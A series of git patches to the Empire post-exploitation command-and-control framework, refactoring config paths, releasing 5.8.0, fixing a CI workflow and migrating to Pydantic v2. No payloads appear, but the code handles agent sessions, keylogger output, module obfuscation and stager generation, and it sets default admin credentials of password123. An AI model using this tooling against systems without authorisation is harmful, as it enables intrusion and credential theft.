Versioning](https://semver.org/spec/v2.0.0 - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) - Make the installation of donut conditional on architecture since it doesn't work on ARM (@Vinnybod) - When donut is invoked but not installed, give a useful warning (@Vinnybod) +- Allow a config to be loaded from an outside directory and the downloads/logs/etc to be stored in an outside directory (@Vinnybod) - Drop support for Python 3.8 and 3.9 - Update install script (@Vinnybod) - Use pyenv to install Python @@ -23,6 +24,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Bump all OS to use Python 3.12 - Refactor the script to be a bit more readable - Condense the test_install_script job + - Added option to start MySQL service on boot (@Cx01N) - Update Docker build (@Vinnybod) - Use the official Poetry installer - Fix Starkiller trying to auto-update inside the container @@ -36,7 +38,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Use docopt-ng for Python 3.12 support - Add packaging as a runtime dependency - Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod) -- Added option to start MySQL service on boot to install script (@Cx01N) - Remove unneeded condition statement from all listeners (@Vinnybod) - Updated the ruff minimum Python version to 3.10 and applied fixes to get codebase compliant (@Vinnybod) diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 177ad8a1f..c179ab225 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -42,7 +42,6 @@ import threading import time import warnings -from pathlib import Path from sqlalchemy import and_, or_ from sqlalchemy.orm import Session @@ -255,7 +254,7 @@ def save_file( parts = path.split("\\") # construct the appropriate save path - download_dir = Path(empire_config.directories.downloads) + download_dir = empire_config.directories.downloads save_path = download_dir / sessionID / "/".join(parts[0:-1]) filename = os.path.basename(parts[-1]) save_file = save_path / filename @@ -345,7 +344,7 @@ def save_module_file(self, sessionID, path, data, language: str): parts = path.split("/") # construct the appropriate save path - download_dir = Path(empire_config.directories.downloads) + download_dir = empire_config.directories.downloads save_path = download_dir / sessionID / "/".join(parts[0:-1]) filename = parts[-1] save_file = save_path / filename @@ -403,7 +402,7 @@ def save_agent_log(self, session_id, data): if isinstance(data, bytes): data = data.decode("UTF-8") - save_path = Path(empire_config.directories.downloads) / session_id + save_path = empire_config.directories.downloads / session_id # make the recursive directory structure if it doesn't already exist if not save_path.exists(): @@ -1642,7 +1641,7 @@ def process_agent_packet( elif response_name == "TASK_CMD_JOB": # check if this is the powershell keylogging task, if so, write output to file instead of screen if key_log_task_id and key_log_task_id == task_id: - download_dir = Path(empire_config.directories.downloads) + download_dir = empire_config.directories.downloads safe_path = download_dir.absolute() save_path = download_dir / session_id / "keystrokes.txt" diff --git a/empire/server/core/config.py b/empire/server/core/config.py index 764b6a934..c1570c711 100644 --- a/empire/server/core/config.py +++ b/empire/server/core/config.py @@ -1,20 +1,29 @@ import logging import sys +from pathlib import Path import yaml -from pydantic import BaseModel, Extra, Field +from pydantic import BaseModel, Extra, Field, validator log = logging.getLogger(__name__) -class StarkillerConfig(BaseModel): +class EmpireBaseModel(BaseModel): + @validator("*") + def set_path(cls, v): + if isinstance(v, Path): + return v.expanduser().resolve() + return v + + +class StarkillerConfig(EmpireBaseModel): repo: str = "bc-security/starkiller" - directory: str = "empire/server/api/v2/starkiller" + directory: Path = "empire/server/api/v2/starkiller" ref: str = "main" auto_update: bool = True -class DatabaseDefaultObfuscationConfig(BaseModel): +class DatabaseDefaultObfuscationConfig(EmpireBaseModel): language: str = "powershell" enabled: bool = False command: str = r"Token\All\1" @@ -22,7 +31,7 @@ class DatabaseDefaultObfuscationConfig(BaseModel): preobfuscatable: bool = True -class DatabaseDefaultsConfig(BaseModel): +class DatabaseDefaultsConfig(EmpireBaseModel): staging_key: str = "RANDOM" username: str = "empireadmin" password: str = "password123" @@ -32,18 +41,18 @@ class DatabaseDefaultsConfig(BaseModel): ip_blacklist: str = Field("", alias="ip-blacklist") -class SQLiteDatabaseConfig(BaseModel): - location: str = "empire/server/data/empire.db" +class SQLiteDatabaseConfig(EmpireBaseModel): + location: Path = "empire/server/data/empire.db" -class MySQLDatabaseConfig(BaseModel): +class MySQLDatabaseConfig(EmpireBaseModel): url: str = "localhost:3306" username: str = "" password: str = "" database_name: str = "empire" -class DatabaseConfig(BaseModel): +class DatabaseConfig(EmpireBaseModel): use: str = "sqlite" sqlite: SQLiteDatabaseConfig mysql: MySQLDatabaseConfig @@ -53,28 +62,28 @@ def __getitem__(self, key): return getattr(self, key) -class DirectoriesConfig(BaseModel): - downloads: str - module_source: str - obfuscated_module_source: str +class DirectoriesConfig(EmpireBaseModel): + downloads: Path + module_source: Path + obfuscated_module_source: Path -class LoggingConfig(BaseModel): +class LoggingConfig(EmpireBaseModel): level: str = "INFO" - directory: str = "empire/server/downloads/logs/" + directory: Path = "empire/server/downloads/logs/" simple_console: bool = True -class LastTaskConfig(BaseModel): +class LastTaskConfig(EmpireBaseModel): enabled: bool = False - file: str = "empire/server/data/last_task.txt" + file: Path = "empire/server/data/last_task.txt" -class DebugConfig(BaseModel): +class DebugConfig(EmpireBaseModel): last_task: LastTaskConfig -class EmpireConfig(BaseModel): +class EmpireConfig(EmpireBaseModel): supress_self_cert_warning: bool = Field( alias="supress-self-cert-warning", default=True ) @@ -95,13 +104,14 @@ class Config: def set_yaml(location: str): + location = Path(location).expanduser().resolve() try: - with open(location) as stream: + with location.open() as stream: return yaml.safe_load(stream) except yaml.YAMLError as exc: - print(exc) + log.warning(exc) except FileNotFoundError as exc: - print(exc) + log.warning(exc) config_dict = {} diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 3f66d74b6..6678afbcd 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -129,10 +129,7 @@ def create_download_from_text( """ subdirectory = subdirectory or f"user/{user.username}" location = ( - Path(empire_config.directories.downloads) - / "uploads" - / subdirectory - / filename + empire_config.directories.downloads / "uploads" / subdirectory / filename ) location.parent.mkdir(parents=True, exist_ok=True) @@ -157,10 +154,7 @@ def create_download(self, db: Session, user: models.User, file: UploadFile | Pat filename = file.filename location = ( - Path(empire_config.directories.downloads) - / "uploads" - / user.username - / filename + empire_config.directories.downloads / "uploads" / user.username / filename ) location.parent.mkdir(parents=True, exist_ok=True) diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index 9ca62724d..2c7199547 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -100,7 +100,6 @@ def preobfuscate_modules( files = self._get_module_source_files(db_obf_config.language) for file in files: - file = os.getcwd() + "/" + file if reobfuscate or not self._is_obfuscated(file): message = f"Obfuscating {os.path.basename(file)}..." log.info(message) @@ -133,8 +132,8 @@ def obfuscate_module( obfuscated_code = self.obfuscate(module_code, obfuscation_command) obfuscated_source = module_source.replace( - empire_config.directories.module_source, - empire_config.directories.obfuscated_module_source, + str(empire_config.directories.module_source), + str(empire_config.directories.obfuscated_module_source), ) try: @@ -230,12 +229,16 @@ def _get_obfuscated_module_source_files(self, language: str): return paths - def _is_obfuscated(self, module_source): + def _is_obfuscated(self, module_source: str | Path): + if isinstance(module_source, Path): + module_source = str(module_source) + obfuscated_source = module_source.replace( - empire_config.directories.module_source, - empire_config.directories.obfuscated_module_source, + str(empire_config.directories.module_source), + str(empire_config.directories.obfuscated_module_source), ) - return os.path.isfile(obfuscated_source) + + return Path(obfuscated_source).exists() def _convert_obfuscation_command(self, obfuscate_command): return ( diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py index 9464d0f5d..7c75904cd 100644 --- a/empire/server/core/stager_service.py +++ b/empire/server/core/stager_service.py @@ -1,7 +1,6 @@ import copy import os import uuid -from pathlib import Path from typing import Any from sqlalchemy.orm import Session @@ -169,7 +168,7 @@ def generate_stager(self, template_instance): file_name = f"{uuid.uuid4()}.txt" file_name = ( - Path(empire_config.directories.downloads) / "generated-stagers" / file_name + empire_config.directories.downloads / "generated-stagers" / file_name ) file_name.parent.mkdir(parents=True, exist_ok=True) mode = "w" if isinstance(resp, str) else "wb" diff --git a/empire/server/server.py b/empire/server/server.py index 2075e8e15..d67338ea7 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -32,8 +32,7 @@ def setup_logging(args): else: log_level = logging.getLevelName(empire_config.logging.level.upper()) - logging_dir = empire_config.logging.directory - log_dir = Path(logging_dir) + log_dir = empire_config.logging.directory log_dir.mkdir(parents=True, exist_ok=True) root_log_file = log_dir / "empire_server.log" root_logger = logging.getLogger() diff --git a/empire/test/test_download_service.py b/empire/test/test_download_service.py index 646c007ed..0eb03d399 100644 --- a/empire/test/test_download_service.py +++ b/empire/test/test_download_service.py @@ -36,11 +36,9 @@ def test_create_download_from_path(main, session_local, models): download = download_service.create_download(db, user, test_upload) assert download.id > 0 - assert download.filename.startswith( - "test-upload" - ) and download.filename.endswith(".yaml") - assert download.location.startswith( - f"empire/test/downloads/uploads/{user.username}/test-upload" - ) and download.location.endswith(".yaml") + assert download.filename.startswith("test-upload") + assert download.filename.endswith(".yaml") + assert f"empire/test/downloads/uploads/{user.username}/" in download.location + assert download.location.endswith(".yaml") db.delete(download) diff --git a/empire/test/test_logs.py b/empire/test/test_logs.py index b53b780a3..45bd4d46a 100644 --- a/empire/test/test_logs.py +++ b/empire/test/test_logs.py @@ -85,7 +85,7 @@ def test_log_level_by_config(monkeypatch): assert stream_handler.level == logging.WARNING -def test_log_level_by_arg(monkeypatch): +def test_log_level_by_arg(): logging.getLogger().handlers.clear() os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent) sys.argv = [ @@ -97,8 +97,6 @@ def test_log_level_by_arg(monkeypatch): "ERROR", ] - monkeypatch.setattr("empire.server.server.empire", MagicMock()) - from empire import arguments from empire.server.server import setup_logging @@ -106,7 +104,6 @@ def test_log_level_by_arg(monkeypatch): test_config = _load_test_config() test_config["logging"]["level"] = "WaRNiNG" # Should be overwritten by arg config_mock.yaml = test_config - monkeypatch.setattr("empire.server.server.empire_config", config_mock) args = arguments.parent_parser.parse_args() # Force reparse of args between runs setup_logging(args) @@ -118,13 +115,11 @@ def test_log_level_by_arg(monkeypatch): assert stream_handler.level == logging.ERROR -def test_log_level_by_debug_arg(monkeypatch): +def test_log_level_by_debug_arg(): logging.getLogger().handlers.clear() os.chdir(Path(os.path.dirname(os.path.abspath(__file__))).parent.parent) sys.argv = ["", "server", "--config", SERVER_CONFIG_LOC, "--debug"] - monkeypatch.setattr("empire.server.server.empire", MagicMock()) - from empire import arguments from empire.server.server import setup_logging @@ -132,7 +127,6 @@ def test_log_level_by_debug_arg(monkeypatch): test_config = _load_test_config() test_config["logging"]["level"] = "WaRNiNG" # Should be overwritten by arg config_mock.yaml = test_config - monkeypatch.setattr("empire.server.server.empire_config", config_mock) args = arguments.parent_parser.parse_args() # Force reparse of args between runs setup_logging(args) diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index 3d2df0709..7061987ad 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -1,5 +1,6 @@ import os from contextlib import contextmanager +from pathlib import Path import pytest @@ -12,7 +13,9 @@ def patch_config(empire_config): """ orig_src_dir = empire_config.directories.module_source try: - empire_config.directories.module_source = "empire/test/data/module_source/" + empire_config.directories.module_source = Path( + "empire/test/data/module_source/" + ).resolve() yield empire_config finally: empire_config.directories.module_source = orig_src_dir @@ -231,8 +234,8 @@ def test_preobfuscate_post(client, admin_auth_header, empire_config): count = 0 for root, _dirs, files in os.walk(module_dir): for file in files: - root_rep = root.replace(module_dir, obf_module_dir) - assert os.path.exists(root_rep + "/" + file) + root_rep = root.replace(str(module_dir), str(obf_module_dir)) + assert (Path(root_rep) / file).exists() count += 1 assert count > 0 @@ -266,5 +269,5 @@ def test_preobfuscate_delete(client, admin_auth_header, empire_config): for root, _dirs, files in os.walk(module_dir): for file in files: - root_rep = root.replace(module_dir, obf_module_dir) + root_rep = root.replace(str(module_dir), str(obf_module_dir)) assert not os.path.exists(root_rep + "/" + file) From 7b2cc58cd0a2a84dbc0464075ceb05841fa2e5f4 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Mon, 6 Nov 2023 03:05:28 +0000 Subject: [PATCH 12/29] Prepare release 5.8.0 private --- CHANGELOG.md | 8 ++++++-- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d7469046e..565fdbee6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [5.8.0] - 2023-11-06 + - Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files. - Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) - Added automatic tasking for sysinfo for stageless agents (@Cx01N) @@ -15,7 +17,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - When donut is invoked but not installed, give a useful warning (@Vinnybod) - Allow a config to be loaded from an outside directory and the downloads/logs/etc to be stored in an outside directory (@Vinnybod) - Drop support for Python 3.8 and 3.9 -- Update install script (@Vinnybod) +- Update install script (@Vinnybod) - Use pyenv to install Python - Use the official Poetry installer - Don't run the entire script as root @@ -636,7 +638,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.0...HEAD + +[5.8.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...v5.8.0 [5.7.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.2...v5.7.3 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 47edbe19d..fdfa03ab1 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.7.3 BC Security Fork" +VERSION = "5.8.0 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 4ae47947c..7f3c0a415 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.7.3" +version = "5.8.0" description = "" authors = ["BC Security "] readme = "README.md" From 6204235f639a1f82ea98463abde49c794b4f1dee Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Sun, 5 Nov 2023 20:28:00 -0700 Subject: [PATCH 13/29] fix docker build test --- .github/workflows/lint-and-test.yml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index fb5abcadd..488dd8c68 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -100,6 +100,12 @@ jobs: with: submodules: 'recursive' token: ${{ secrets.RELEASE_TOKEN }} + # For the sponsors repo, this is a sort of hack to get around the fact that + # the docker image fails on ./ps-empire sync-starkiller because the repo is private. + - name: Sync Starkiller + run: | + poetry install + ./ps-empire sync-starkiller - name: Build docker image run: docker-compose -f .github/docker-compose.yml build - name: Run tests on docker image From 6757efb6ff1593bd91196c3896083b213a45cb49 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Sun, 5 Nov 2023 21:24:42 -0700 Subject: [PATCH 14/29] attempt fix docker test again --- .github/workflows/lint-and-test.yml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 488dd8c68..a8b04d04d 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -102,10 +102,12 @@ jobs: token: ${{ secrets.RELEASE_TOKEN }} # For the sponsors repo, this is a sort of hack to get around the fact that # the docker image fails on ./ps-empire sync-starkiller because the repo is private. - - name: Sync Starkiller + - name: Rewrite Starkiller run: | - poetry install - ./ps-empire sync-starkiller + if [ ${{ endswith(github.repository, 'Empire-Sponsors') }} ]; then + sed -i 's|git@github.com:BC-SECURITY/Starkiller-Sponsors.git|https://github.com/BC-SECURITY/Starkiller.git|g' empire/server/config.yaml + sed -i 's|ref: sponsors-main|ref: main|g' empire/server/config.yaml + fi - name: Build docker image run: docker-compose -f .github/docker-compose.yml build - name: Run tests on docker image From 3ed4c6701d6eeeee3773ca57185ef79c86027b60 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Wed, 8 Nov 2023 08:04:07 -0700 Subject: [PATCH 15/29] Pydantic v2 & FastAPI Annotated (#727) * bump deps * convert but still have some failing tests * add validators to get v1 functionality * remove unnecessary changes * some more fixes * remove a unnecessary change * Initial conversion to use Annotated * Changelog --- CHANGELOG.md | 3 + empire/server/api/jwt_auth.py | 19 +- empire/server/api/v2/agent/agent_api.py | 15 +- empire/server/api/v2/agent/agent_dto.py | 48 ++-- empire/server/api/v2/agent/agent_file_api.py | 15 +- empire/server/api/v2/agent/agent_file_dto.py | 8 +- empire/server/api/v2/agent/agent_task_api.py | 88 ++++---- empire/server/api/v2/agent/agent_task_dto.py | 14 +- empire/server/api/v2/bypass/bypass_api.py | 17 +- .../api/v2/credential/credential_api.py | 15 +- .../api/v2/credential/credential_dto.py | 18 +- empire/server/api/v2/download/download_api.py | 17 +- empire/server/api/v2/host/host_api.py | 7 +- empire/server/api/v2/host/process_api.py | 11 +- empire/server/api/v2/host/process_dto.py | 6 +- empire/server/api/v2/listener/listener_api.py | 15 +- empire/server/api/v2/listener/listener_dto.py | 29 ++- empire/server/api/v2/module/module_api.py | 13 +- empire/server/api/v2/module/module_dto.py | 6 +- .../api/v2/obfuscation/obfuscation_api.py | 23 +- .../api/v2/obfuscation/obfuscation_dto.py | 10 +- empire/server/api/v2/plugin/plugin_api.py | 15 +- empire/server/api/v2/plugin/plugin_dto.py | 11 +- .../server/api/v2/plugin/plugin_task_api.py | 11 +- .../server/api/v2/plugin/plugin_task_dto.py | 10 +- empire/server/api/v2/profile/profile_api.py | 19 +- empire/server/api/v2/profile/profile_dto.py | 8 +- empire/server/api/v2/shared_dependencies.py | 8 + empire/server/api/v2/shared_dto.py | 40 +++- empire/server/api/v2/stager/stager_api.py | 17 +- empire/server/api/v2/stager/stager_dto.py | 26 ++- empire/server/api/v2/tag/tag_api.py | 13 +- empire/server/api/v2/tag/tag_dto.py | 11 +- empire/server/api/v2/user/user_api.py | 27 +-- empire/server/api/v2/user/user_dto.py | 2 +- empire/server/core/agent_task_service.py | 2 +- empire/server/core/config.py | 10 +- empire/server/core/module_models.py | 23 +- empire/test/test_agent_task_api.py | 4 +- empire/test/test_obfuscation_api.py | 2 +- empire/test/test_tags_api.py | 30 ++- poetry.lock | 211 +++++++++++++----- pyproject.toml | 2 +- 43 files changed, 522 insertions(+), 377 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 565fdbee6..eeb343a2d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Upgrade Pydantic to v2 (@Vinnybod) +- Update common FastAPI Dependencies to use 'Annotated' types for simpler code (@Vinnybod) + ## [5.8.0] - 2023-11-06 - Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files. diff --git a/empire/server/api/jwt_auth.py b/empire/server/api/jwt_auth.py index b5dcb930d..de20a6c32 100644 --- a/empire/server/api/jwt_auth.py +++ b/empire/server/api/jwt_auth.py @@ -1,4 +1,5 @@ from datetime import datetime, timedelta +from typing import Annotated from fastapi import Depends, HTTPException from fastapi.security import OAuth2PasswordBearer @@ -8,7 +9,7 @@ from sqlalchemy.orm import Session from starlette import status -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.core.db import models from empire.server.core.db.base import SessionLocal @@ -69,7 +70,8 @@ def create_access_token(data: dict, expires_delta: timedelta | None = None): async def get_current_user( - token: str = Depends(oauth2_scheme), db: Session = Depends(get_db) + db: CurrentSession, + token: str = Depends(oauth2_scheme), ): credentials_exception = HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, @@ -90,19 +92,28 @@ async def get_current_user( return user +CurrentUser = Annotated[models.User, Depends(get_current_user)] + + async def get_current_active_user( - current_user: models.User = Depends(get_current_user), + current_user: CurrentUser, ): if not current_user.enabled: raise HTTPException(status_code=400, detail="Inactive user") return current_user +CurrentActiveUser = Annotated[models.User, Depends(get_current_active_user)] + + async def get_current_active_admin_user( - current_user: models.User = Depends(get_current_user), + current_user: CurrentUser, ): if not current_user.enabled: raise HTTPException(status_code=400, detail="Inactive user") if not current_user.admin: raise HTTPException(status_code=403, detail="Not an admin user") return current_user + + +CurrentActiveAdminUser = Annotated[models.User, Depends(get_current_active_admin_user)] diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py index 05f664839..5bf925f47 100644 --- a/empire/server/api/v2/agent/agent_api.py +++ b/empire/server/api/v2/agent/agent_api.py @@ -2,7 +2,6 @@ from datetime import datetime from fastapi import Depends, HTTPException, Query -from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user @@ -17,7 +16,7 @@ domain_to_dto_agent_checkin, domain_to_dto_agent_checkin_agg, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import ( BadRequestResponse, NotFoundResponse, @@ -41,7 +40,7 @@ ) -async def get_agent(uid: str, db: Session = Depends(get_db)): +async def get_agent(uid: str, db: CurrentSession): agent = agent_service.get_by_id(db, uid) if agent: @@ -55,7 +54,7 @@ async def get_agent(uid: str, db: Session = Depends(get_db)): @router.get("/checkins", response_model=AgentCheckIns) def read_agent_checkins_all( - db: Session = Depends(get_db), + db: CurrentSession, agents: list[str] = Query(None), limit: int = 1000, page: int = 1, @@ -79,7 +78,7 @@ def read_agent_checkins_all( @router.get("/checkins/aggregate", response_model=AgentCheckInsAggregate) def read_agent_checkins_aggregate( - db: Session = Depends(get_db), + db: CurrentSession, agents: list[str] = Query(None), start_date: datetime | None = None, end_date: datetime | None = None, @@ -111,7 +110,7 @@ async def read_agent(uid: str, db_agent: models.Agent = Depends(get_agent)): @router.get("/", response_model=Agents) async def read_agents( - db: Session = Depends(get_db), + db: CurrentSession, include_archived: bool = False, include_stale: bool = True, ): @@ -129,7 +128,7 @@ async def read_agents( async def update_agent( uid: str, agent_req: AgentUpdateRequest, - db: Session = Depends(get_db), + db: CurrentSession, db_agent: models.Agent = Depends(get_agent), ): resp, err = agent_service.update_agent(db, db_agent, agent_req) @@ -142,7 +141,7 @@ async def update_agent( @router.get("/{uid}/checkins", response_model=AgentCheckIns) def read_agent_checkins( - db: Session = Depends(get_db), + db: CurrentSession, db_agent: models.Agent = Depends(get_agent), limit: int = -1, page: int = 1, diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py index 10e9b7eb0..e0b1b7538 100644 --- a/empire/server/api/v2/agent/agent_dto.py +++ b/empire/server/api/v2/agent/agent_dto.py @@ -83,35 +83,35 @@ class Agent(BaseModel): name: str # listener_id: int listener: str - host_id: int | None - hostname: str | None - language: str | None - language_version: str | None + host_id: int | None = None + hostname: str | None = None + language: str | None = None + language_version: str | None = None delay: int jitter: float - external_ip: str | None - internal_ip: str | None - username: str | None - high_integrity: bool | None - process_id: int | None - process_name: str | None - os_details: str | None + external_ip: str | None = None + internal_ip: str | None = None + username: str | None = None + high_integrity: bool | None = None + process_id: int | None = None + process_name: str | None = None + os_details: str | None = None nonce: str checkin_time: datetime lastseen_time: datetime - parent: str | None - children: str | None - servers: str | None - profile: str | None - functions: str | None - kill_date: str | None - working_hours: str | None + parent: str | None = None + children: str | None = None + servers: str | None = None + profile: str | None = None + functions: str | None = None + kill_date: str | None = None + working_hours: str | None = None lost_limit: int - notes: str | None - architecture: str | None + notes: str | None = None + architecture: str | None = None archived: bool stale: bool - proxies: dict | None + proxies: dict | None = None tags: list[Tag] @@ -139,8 +139,8 @@ class AgentCheckInAggregate(BaseModel): class AgentCheckInsAggregate(BaseModel): records: list[AgentCheckInAggregate] - start_date: datetime | None - end_date: datetime | None + start_date: datetime | None = None + end_date: datetime | None = None bucket_size: str @@ -153,4 +153,4 @@ class AggregateBucket(str, Enum): class AgentUpdateRequest(BaseModel): name: str - notes: str | None + notes: str | None = None diff --git a/empire/server/api/v2/agent/agent_file_api.py b/empire/server/api/v2/agent/agent_file_api.py index de4532294..ee4d4f194 100644 --- a/empire/server/api/v2/agent/agent_file_api.py +++ b/empire/server/api/v2/agent/agent_file_api.py @@ -1,10 +1,9 @@ from fastapi import Depends, HTTPException -from sqlalchemy.orm import Session from empire.server.api.api_router import APIRouter from empire.server.api.jwt_auth import get_current_active_user from empire.server.api.v2.agent.agent_file_dto import AgentFile, domain_to_dto_file -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse from empire.server.core.agent_file_service import AgentFileService from empire.server.core.agent_service import AgentService @@ -25,7 +24,7 @@ ) -async def get_agent(agent_id: str, db: Session = Depends(get_db)): +async def get_agent(agent_id: str, db: CurrentSession): agent = agent_service.get_by_id(db, agent_id) if agent: @@ -35,7 +34,7 @@ async def get_agent(agent_id: str, db: Session = Depends(get_db)): async def get_file( - uid: int, db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent) + uid: int, db: CurrentSession, db_agent: models.Agent = Depends(get_agent) ): file = agent_file_service.get_file(db, db_agent.session_id, uid) @@ -47,9 +46,9 @@ async def get_file( ) -@router.get("/root", dependencies=[Depends(get_current_active_user)]) +@router.get("/root") async def read_file_root( - db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent) + db: CurrentSession, db_agent: models.Agent = Depends(get_agent) ): file = agent_file_service.get_file_by_path(db, db_agent.session_id, "/") @@ -61,9 +60,7 @@ async def read_file_root( ) -@router.get( - "/{uid}", response_model=AgentFile, dependencies=[Depends(get_current_active_user)] -) +@router.get("/{uid}", response_model=AgentFile) async def read_file( uid: int, db_agent: models.Agent = Depends(get_agent), diff --git a/empire/server/api/v2/agent/agent_file_dto.py b/empire/server/api/v2/agent/agent_file_dto.py index 637da58c9..280f48c44 100644 --- a/empire/server/api/v2/agent/agent_file_dto.py +++ b/empire/server/api/v2/agent/agent_file_dto.py @@ -2,7 +2,7 @@ # https://pydantic-docs.helpmanual.io/usage/postponed_annotations/#self-referencing-models from __future__ import annotations -from pydantic import BaseModel +from pydantic import BaseModel, ConfigDict from empire.server.api.v2.shared_dto import ( DownloadDescription, @@ -32,12 +32,10 @@ class AgentFile(BaseModel): name: str path: str is_file: bool - parent_id: int | None + parent_id: int | None = None downloads: list[DownloadDescription] children: list[AgentFile] = [] - - class Config: - orm_mode = True + model_config = ConfigDict(from_attributes=True) AgentFile.update_forward_refs() diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 3857d40c2..638363798 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -3,12 +3,14 @@ from datetime import datetime from fastapi import Depends, File, HTTPException, Query, UploadFile -from sqlalchemy.orm import Session from starlette.responses import Response from starlette.status import HTTP_204_NO_CONTENT from empire.server.api.api_router import APIRouter -from empire.server.api.jwt_auth import get_current_active_user, get_current_user +from empire.server.api.jwt_auth import ( + CurrentUser, + get_current_active_user, +) from empire.server.api.v2.agent.agent_task_dto import ( AgentTask, AgentTaskOrderOptions, @@ -30,7 +32,7 @@ WorkingHoursPostRequest, domain_to_dto_task, ) -from empire.server.api.v2.shared_dependencies import get_db +from empire.server.api.v2.shared_dependencies import CurrentSession from empire.server.api.v2.shared_dto import ( PROXY_NAME, BadRequestResponse, @@ -62,7 +64,7 @@ ) -async def get_agent(agent_id: str, db: Session = Depends(get_db)): +async def get_agent(agent_id: str, db: CurrentSession): agent = agent_service.get_by_id(db, agent_id) if agent: @@ -72,7 +74,7 @@ async def get_agent(agent_id: str, db: Session = Depends(get_db)): async def get_task( - uid: int, db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent) + uid: int, db: CurrentSession, db_agent: models.Agent = Depends(get_agent) ): task = agent_task_service.get_task_for_agent(db, db_agent.session_id, uid) @@ -89,6 +91,7 @@ async def get_task( @router.get("/tasks", response_model=AgentTasks) async def read_tasks_all_agents( + db: CurrentSession, limit: int = -1, page: int = 1, include_full_input: bool = False, @@ -102,7 +105,6 @@ async def read_tasks_all_agents( users: list[int] | None = Query(None), tags: list[TagStr] | None = Query(None), query: str | None = None, - db: Session = Depends(get_db), ): tasks, total = agent_task_service.get_tasks( db, @@ -141,6 +143,7 @@ async def read_tasks_all_agents( @router.get("/{agent_id}/tasks", response_model=AgentTasks) async def read_tasks( + db: CurrentSession, limit: int = -1, page: int = 1, include_full_input: bool = False, @@ -152,7 +155,6 @@ async def read_tasks( status: AgentTaskStatus | None = None, users: list[int] | None = Query(None), tags: list[TagStr] | None = Query(None), - db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent), query: str | None = None, ): @@ -194,7 +196,7 @@ async def read_tasks( @router.get("/{agent_id}/tasks/{uid}", response_model=AgentTask) async def read_task( uid: int, - db: Session = 